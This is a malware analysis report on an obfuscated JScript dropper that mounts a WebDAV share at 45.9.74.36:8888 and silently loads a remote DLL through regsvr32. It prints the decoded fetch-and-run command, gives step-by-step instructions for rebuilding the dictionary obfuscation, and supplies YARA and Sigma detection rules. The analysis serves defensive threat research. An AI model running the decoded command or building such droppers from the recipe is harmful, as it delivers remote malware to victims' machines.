unclassified-js-webdav-dropper: 438fce55 — 36-entry noise-key dictionary, 45.9.74.36:8888, no PowerShell wrapper

Executive Summary

A 6.0 KB JScript Windows Script Host dropper using a 36-entry noise-key dictionary lookup-table obfuscation. The decoded payload mounts a WebDAV share at 45.9.74.36:8888 and silently registers a remote DLL (128892711629914.dll) via regsvr32 /s. No PowerShell wrapper, no decoy, and no sandbox gate. Sixty-second confirmed sibling in the unclassified-js-webdav-dropper cluster. Static-only analysis (CAPE skipped — JScript text file).

What It Is

How It Works

The script is a single line of JScript wrapped in a try/catch block. ^[strings.txt:37]

1. Dictionary construction — Declares an object wloiyndlclbycxtcnr and populates it with 36 key/value pairs. Keys are random lowercase noise strings (10–35 characters, no semantic content); values are single ASCII characters covering the full alphanumeric set plus common symbols required to assemble a command line. ^[strings.txt:1–36]
2. Decoy entry point — try{brggbvgynjkzslz();}catch(vbjyb) calls an undefined function, guaranteeing the catch path executes.
3. Global object access — Uses Function(''+/*...*/)()['...']['...']('...')['...']('...', 0, false) to assemble and invoke WScript.Shell.Run via dictionary lookups, avoiding any hardcoded API names in the source. ^[strings.txt:37]
4. Decoded payload — After de-obfuscation the payload reads:

   cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\128892711629914.dll
   

   This mounts the WebDAV share and silently loads the remote DLL in-process via the signed regsvr32.exe binary.

No PowerShell wrapper, no wordpad decoy, no sandbox gating, and no self-replication logic are present in this variant.

C2 Infrastructure

• WebDAV mount / payload host: 45.9.74.36:8888 (single IP for both net use and DLL fetch) ^[strings.txt:37] (decoded)
• Payload filename: 128892711629914.dll ^[strings.txt:37] (decoded)
• Execution chain: wscript.exe → cmd.exe /k → net use + regsvr32 /s → remote DLL over HTTP/WebDAV

Interesting Tidbits

• The dictionary object name (wloiyndlclbycxtcnr, 19 chars) and the decoy function name (brggbvgynjkzslz, 15 chars) are random noise strings — consistent with the family's hand-written, non-tool-generated obfuscation. ^[strings.txt:1]
• Key lengths vary from 10 characters (kvnfefj) to 35 characters (jijqhnkjtwnvbdlovhx), with no delimiter pattern — suggesting manual assignment rather than automated generation. ^[strings.txt:1–36]
• This is the thirteenth distinct 36-entry noise-key dictionary observed in the family on the 45.9.74.36:8888 infrastructure (following fa7e181d, cb5d302f, d0124d62, d90baa30, a435a37b, aa8ff8b9, ade6cf68, b612dd70, be58d381, 92ce4217, 4cb05ef0, 41472c6a, and 41d04ad5). The disjoint key sets between siblings indicate per-build manual re-keying or a simple randomizer script.
• No toUpperCase() calls are used on the decoded command-line characters (unlike the 62-entry variants that uppercase W and S in WScript.Shell). Instead, the dictionary explicitly contains both lowercase and the required uppercase letters (o vs O, etc.). This is a tell for the 36-entry noise-key dialect.

How To Mess With It (Homelab Replication)

1. Build a noise-key dictionary. Generate 36 random lowercase strings (8–20 chars). Map each to a single character needed for your payload command.
2. Encode the payload. Replace every character of cmd /k net use \\<ip>@8888\davwwwroot\ && regsvr32 /s \\<ip>@8888\davwwwroot\<payload>.dll with concatenated dictionary lookups.
3. Wrap in decoy. Use try{undefined();}catch(e){ <assembled Function(...) > }.
4. Test against EDR. Static string matching will fail. Behavioral detection (monitoring wscript.exe spawning cmd.exe with regsvr32 and DavWWWRoot) is the reliable detection path.

Deployable Signatures

YARA Rule

rule UNCLASSIFIED_JS_WEBDAV_DROPPER_438FCE55 {
    meta:
        description = "JScript WebDAV dropper — 36-entry noise-key dictionary, 45.9.74.36:8888 C2"
        family    = "unclassified-js-webdav-dropper"
        author    = "PacketPursuit"
        date      = "2026-07-14"
        sha256    = "438fce55de8d3e949b054332b416c1c910340aeede947279ca3802382aa1d9e3"
    strings:
        $a = "wloiyndlclbycxtcnr=[];"
        $b = "wloiyndlclbycxtcnr['kvnfefj']='m';"
        $c = "Function(''+/*"
        $d = "davwwwroot" nocase
        $e = "regsvr32 /s"
    condition:
        $a and $b and $c and $d and $e
}

Behavioral Hunt Query (Sigma)

title: WebDAV Regsvr32 DLL Execution from JScript Dropper
id: 438fce55-0000-0000-0000-000000000001
status: experimental
description: Detects regsvr32.exe loading a DLL from a DavWWWRoot UNC path, spawned from wscript/cscript/cmd
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'DavWWWRoot'
            - 'davwwwroot'
        CommandLine|contains: 'regsvr32'
    condition: selection
falsepositives:
    - Legitimate WebDAV-based software deployment (rare)
level: high

IOC List

Behavioral Fingerprint Statement

This JScript dropper declares a 36-entry noise-key dictionary object with random lowercase key names, then assembles a WScript.Shell.Run invocation inside a try/catch decoy block. At runtime it spawns cmd.exe /k to mount a WebDAV share at \\45.9.74.36@8888\DavWWWRoot\ and immediately calls regsvr32 /s to silently load a remote DLL from the same UNC path. No PowerShell wrapper, no sandbox gate, and no persistence. The dictionary contains both lowercase and uppercase letters explicitly (no .toUpperCase() calls), distinguishing it from the 62-entry variants in the same family.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page for this family
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation engine
• Sibling analysis 41d04ad5 — nearest prior sibling (36-entry noise-key dictionary, same C2, different payload) ^[/intel/analyses/41d04ad5999555d632e0fdf4cd1aba63bc4d4abe319ef699c6b4a09219b7b40a.html]
• Sibling analysis 41472c6a — fifty-eighth confirmed sibling ^[/intel/analyses/41472c6a7c0b333c7112e0ad05246d73d64cc3aa18a0b622e5648099f4eb7dd3.html]

Provenance

• file.txt — file utility output (ASCII text, CRLF, long lines)
• strings.txt — raw JScript source (37 lines, dictionary assignments + Function call)
• triage.json — triage metadata (filename, size, SHA-256)
• dynamic-analysis.md — CAPE skip notice (not a supported binary class)
• Decoding performed manually via Python script: dictionary parse → comment strip → string-concatenation evaluation